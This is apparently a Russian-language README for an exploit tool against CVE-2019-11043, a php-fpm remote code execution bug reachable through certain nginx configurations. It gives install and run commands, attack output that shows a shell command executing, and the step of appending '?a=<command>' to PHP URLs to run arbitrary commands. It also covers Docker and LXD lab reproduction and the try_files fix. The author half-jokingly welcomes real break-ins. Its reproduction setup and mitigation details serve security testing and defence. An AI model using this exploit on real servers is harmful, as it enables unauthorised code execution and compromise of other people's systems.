
Эксплойт для CVE-2019-11043
Это эксплойт для уязвимости в php-fpm (CVE-2019-11043). В некоторых конфигурациях nginx + php-fpm уязвимость можно вызвать извне. Это означает, что пользователь веб-приложения может получить выполнение кода, если у вас уязвимая конфигурация (см. ниже).
Поскольку нам было лень писать разбор, Orange Tsai опубликовал отличный анализ в своём блоге. Респект ему.
Кроме того, доступны мои слайды с ZeroNights 2019.
Если веб-сервер работает на nginx + php-fpm и в nginx используется конфигурация вроде
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
и в ней также отсутствуют проверки существования скриптов (например, try_files), то, скорее всего, вы сможете взломать его с помощью этого сплойта.
location ~ [^/]\.php(/|$), должны передаваться в php-fpm (возможно, регулярное выражение может быть более строгим, см. #1).PATH_INFO через директиву fastcgi_param PATH_INFO $fastcgi_path_info;. Также SCRIPT_FILENAME должен задаваться через fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (вместо $document_root может быть константный путь). Сначала мы думали, что эти директивы всегда присутствуют в файле fastcgi_params, но это не так.PATH_INFO в пустое значение. Этот эксплойт предполагает, что директива fastcgi_split_path_info присутствует и содержит регулярное выражение, начинающееся с ^ и заканчивающееся $, поэтому он пытается сломать регулярное выражение с помощью символа новой строки.Давным-давно php-fpm не ограничивал расширения скриптов, то есть что-то вроде /avatar.png/some-fake-shit.php могло выполнять avatar.png как PHP-скрипт. Эта проблема была исправлена около 2010 года.
Текущая уязвимость не требует загрузки файлов, работает в самых последних версиях (до выхода исправления) и, что самое важное, эксплойт гораздо круче.
Установите его с помощью
go get github.com/neex/phuip-fpizdam
Если вы получаете странные ошибки компиляции, убедитесь, что используете go >= 1.13. Запустите программу командой phuip-fpizdam [url] (если каталог $GOPATH/bin находится в вашем $PATH, в противном случае укажите полный путь к бинарному файлу). Успешный вывод выглядит так:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
После этого вы можете начинать добавлять ?a=<ваша команда> ко всем PHP-скриптам (возможно, потребуется несколько попыток).
В качестве альтернативы можно использовать docker-образ для запуска эксплойта:
docker run --rm ypereirareis/cve-2019-11043 [url]
Если вы хотите воспроизвести проблему или поэкспериментировать с эксплойтом локально через Docker, сделайте следующее:
reproducer.docker build -t reproduce-cve-2019-11043 .. Это займёт много времени, так как внутри клонируется репозиторий PHP и выполняется сборка из исходников. Однако так будет проще, если вы хотите отлаживать эксплойт. Собирается ревизия непосредственно перед исправлением.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php.?a= к скрипту: http://127.0.0.1:8080/script.php?a=id. Пробуйте несколько раз, так как заражена только часть рабочих процессов php-fpm.Если вы хотите воспроизвести проблему или поэкспериментировать с эксплойтом локально через LXD, сделайте следующее:
vulnerable и attacker. Для обоих контейнеров можно использовать образ ubuntu:18.04.vulnerable установите nginx и php-fpm. Настройте серверный блок в соответствии с этой конфигурацией. Создайте пустой файл /var/www/html/index.php.attacker установите язык Go (sudo snap install go --classic), склонируйте этот репозиторий и выполните go build в каталоге репозитория../phuip-fpizdam http://vulnerable.lxd/index.php. Пробуйте несколько раз, чтобы заразить все рабочие процессы php-fpm.Более подробные инструкции см. в статье Тестирование CVE-2019-11043 (уязвимость безопасности php-fpm) с помощью системных контейнеров LXD.
Переполнение буфера в меньшую сторону (buffer underflow) в php-fpm присутствует в PHP версии 5. Однако этот эксплойт использует оптимизацию хранения переменных FastCGI — _fcgi_data_seg. Эта оптимизация есть только в PHP 7, поэтому данный конкретный эксплойт работает только в PHP 7. Возможно, существует другой способ эксплуатации, работающий в PHP 5.
Изначальная аномалия обнаружена d90pwn во время Real World CTF. Первопричина найдена мной (Эмилем Лернером), а также способ установки параметров php.ini. Итоговый набор параметров php.ini найден beched.
Этот эксплойт распространяется на условиях лицензии MIT.
Воздержитесь от причинения вреда с помощью этого эксплойта. Но если вы действительно что-то взломаете с его помощью, я буду рад.
PATH_INFO задаётся после REQUEST_URI.try_files $uri =404 или if (-f $uri). Если Nginx отбрасывает запросы к несуществующим скриптам до передачи в FastCGI, наши запросы никогда не достигают php-fpm. Добавление такой проверки — также самый простой способ исправления.